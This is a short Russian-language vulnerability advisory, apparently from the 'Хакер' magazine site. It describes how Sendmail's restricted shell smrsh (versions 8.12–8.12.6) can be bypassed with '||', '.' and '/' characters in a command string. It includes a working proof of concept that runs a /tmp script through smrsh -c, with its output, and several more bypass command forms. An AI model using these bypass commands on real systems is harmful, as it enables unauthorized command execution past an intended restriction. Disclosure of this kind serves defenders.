Витрина продуктов

Все продукты →
  • Подписка на «Хакер»

    Все статьи, архив и бонусы

    6000 ₽ / год

    Оформить
  • Печатный журнал

    Легендарный в твоём формате

    710 ₽ / номер

    Купить
  • Онлайн-курсы

    Практические навыки от экспертов

    от 9000 ₽

    Выбрать

Sendmail - популярный почтовый агент для UNIX систем. 

Программа smrsh (Sendmail Consortium-s Restricted SShell) разработана для предотвращения выполнения команд вне ограниченной среды. Однако, когда задаются команды
с использованием символов (||),(.) или (/), пользователи могут обойти проверки, выполняемые smrsh. Уязвимость позволяет пользователям выполнять команды не ограниченной среды.

Пример: 

$ echo "echo unauthorized execute" > /tmp/unauth 
$ smrsh -c ". || . /tmp/unauth || ." 
/bin/sh: /etc/smrsh/.: is a directory 
unauthorized execute 

Или одну из следующих типов команд: 

smrsh -c "/ command" 
smrsh -c "../ command" 
smrsh -c "./ command" 
smrsh -c "././ command" 

Уязвимость обнаружена в Sendmail Consortium Sendmail 8.12-8.12.6.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Старые
    Новые Популярные
    Межтекстовые Отзывы
    Посмотреть все комментарии